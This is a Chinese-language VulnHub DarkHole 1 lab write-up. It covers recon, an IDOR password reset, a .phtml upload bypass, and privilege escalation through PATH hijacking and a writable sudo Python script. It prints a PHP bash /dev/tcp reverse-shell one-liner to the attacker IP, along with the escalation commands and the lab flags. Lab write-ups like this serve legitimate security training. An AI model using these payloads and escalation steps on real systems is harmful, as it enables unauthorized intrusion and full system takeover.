当前位置: 首页 > article >正文

vulnhub-DarkHole 1靶机的测试报告

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、信息搜集

2、Getshell

3、提权

四、结论


一、测试环境

1、系统环境

渗透机:kali2021.1(192.168.202.134)

靶  机:Ubuntu 20.04.2 LTS

2、使用工具/软件

Kali:arp-scan(主机探测)、nmap(端口服务探测)、gobuster(扫描目录)、burp suite(修改请求包,越权漏洞;爆破用户名参数)、nc(反弹shell连接)

测试网址:http://192.168.202.149

二、测试目的

渗透目标靶机,通过web网页的越权漏洞修改管理员密码,得到管理员账号;通过管理员页面的文件上传功能,绕过过滤;上传php反弹shell,监听到www-data用户的shell;通过环境变量提权到john用户,拿到john的家目录的信息和第一个flag: user.txt  ;通过一个python文件的可sudo权限提权到root用户,拿到第二个flag:root.txt 。

三、操作过程

1、信息搜集

arp探测主机

arp-scan -l

探测到靶机IP:192.168.202.149

Nmap扫描靶机端口和服务

nmap -A -sS -p- -T4 192.168.202.149

开启了ssh服务(22端口)和web服务(80端口)

gobuster扫描web目录

gobuster dir -u http://192.168.202.149 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x php,txt,html,jsp

扫描到登录页login.php  注册页register.php  文件上传目录upload 等页面

查看网页信息

主页只有一个login可点击,upload目录只有一张图片,没找到文件上传点

先从登录注册页入手

没有账号,先注册一个

User:ccc

password:123456

登录进去看看,页面很简洁,只有账户信息和更改密码的选项

页面url: http://192.168.202.149/dashboard.php?id=2

发现有id号,且是2  ,那前面应是还有1    ,尝试更改密码抓包,看看有没有越权漏洞(对于id号的利用可以进行爆破看看哪个id可用,这里的id很明显有1)

修改post的参数id为1,放包

页面显示密码成功更改了

既然密码知道了,就尝试登录,尝试对用户名爆破

爆破发现用户名就是管理员默认用户

admin/123456

现在可以登录管理员用户了,登录查看,发现多了文件上传点,这是渗透点

2、Getshell

尝试文件上传,提示只允许图片类型(实际上只是过滤了php和html两个后缀名)

尝试绕过,绕过方法很多可以绕过,大小写、php5后缀名 、空格绕过  都可行。但是发现php页面不解析…区分大小写,只认识小写php后缀名,实在找不到解析方法

 

寻找能写php的文件类型,有个phtml文件类型,可解析html和php的混合代码(这个文件依然是要在中间件配置文件中写入可解析的代码才生效,显然这是作者有意留下的)

尝试上传反弹shell

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.202.134/666 0>&1'"); ?>

成功上传执行并反弹shell到kali上  ,getshell

3、提权

寻找常规提权点

crontab -l
sudo -l
uname -a   
searchsploit linux 5.4

没有什么收获

找suid文件

find / -perm -u=s -type f 2>/dev/null

找到john用户下面有个toto文件是suid文件,尝试用它来提权

查看这个文件的信息

ls -l /home/john/toto

是可执行的文件

执行文件看看

/home/john/toto

发现执行了id命令,接下来尝试对id命令进行环境变量劫持,提权到john用户

在tmp目录创建id文件,赋予执行权限,给tmp文件夹环境变量

Tmp文件夹是临时文件存放的目录,而且所有用户有很大的权限

echo "/bin/bash" > /tmp/id
chmod +x /tmp/id
export PATH="/tmp:$PATH"

export PATH="/tmp:$PATH"    作用是将tmp目录放在环境变量最前面

这样的话运行toto文件执行id命令,就会首先执行/tmp/id文件,获取john的shell

系统会按照$PATH环境变量中定义的顺序,从左到右搜索id 如果$PATH = /tmp:/usr/local/bin:/usr/local/sbin  则会优先搜索 /tmp目录是否存在id

成功获取john用户的shell

先获取一个交互式shell

SHELL=/bin/bash script -q /dev/null

SHELL必须大写

到john家目录看看

有四个文件

password存放john用户的密码   

user.txt是第一个flag:DarkHole{You_Can_DO_It}

File.py是个空文件   

toto是用来提权的文件

寻找提权点,发现file.py文件可以sudo执行,那么

sudo /usr/bin/python3 /home/john/file.py

执行/bin/bash即可获取root权限

给file.py文件写入获取shell的命令

echo "import pty;pty.spawn('/bin/bash');" > file.py

执行提权命令

sudo /usr/bin/python3 /home/john/file.py

成功提权!

在root目录可以找到第二个flag:DarkHole{You_Are_Legend}

四、结论

phtml文件也可以解析php语言,对于Linux文件的权限管理一定要谨慎,suid权限使用不恰当很容易就导致可提权漏洞,对新建的suid文件不能调用系统命令,确保最小权限原则。

密码不能明文保存在文件中,对于普通用户可sudo的文件,不能允许用户有写入权限。否则会导致提权漏洞。


http://www.kler.cn/a/329091.html

相关文章:

  • WQ9101 WIFI6模组移植实操
  • 【c++丨STL】list模拟实现(附源码)
  • 学习日志012--python中多进程,多线程
  • Debezium-MySqlConnectorTask
  • 理解 Python 中的 __getitem__ 方法:在自定义类中启用索引和切片操作
  • 台式电脑没有声音怎么办?台式电脑没有声音解决详解
  • 想知道为什么有DICOM格式,YAML格式,XML格式,JSON格式吗?
  • OSI 七层模型和TCP/IP 四层模型的区别
  • PG数据库的Jsonb全文检索查询
  • 【React】useState 和 useRef:项目开发中该如何选择
  • R开头的后缀:RE
  • C++平台跳跃游戏
  • 智慧环保大数据平台建设方案
  • Windows 开发工具使用技巧 Visual Studio使用安装和使用技巧 Visual Studio 快捷键
  • httpsok-v1.17.0-SSL通配符证书自动续签
  • css-容器高度百分比(%),容器内的文字垂直居中
  • 梳理相关新闻报道:Linux惊现9.9分灾难级漏洞
  • Linux篇之IO多路复用
  • 滚雪球学MySQL[6.2讲]:MySQL数据恢复详解:从备份中恢复数据与策略
  • 关于BSV区块链覆盖网络的常见问题解答(上篇)
  • 【游戏分组】
  • 网络抓包04 - SSLSocket
  • Oracle bbed编译安装及配置
  • 深入Volatile
  • 【数据结构】MapSet
  • spring loCDI 详解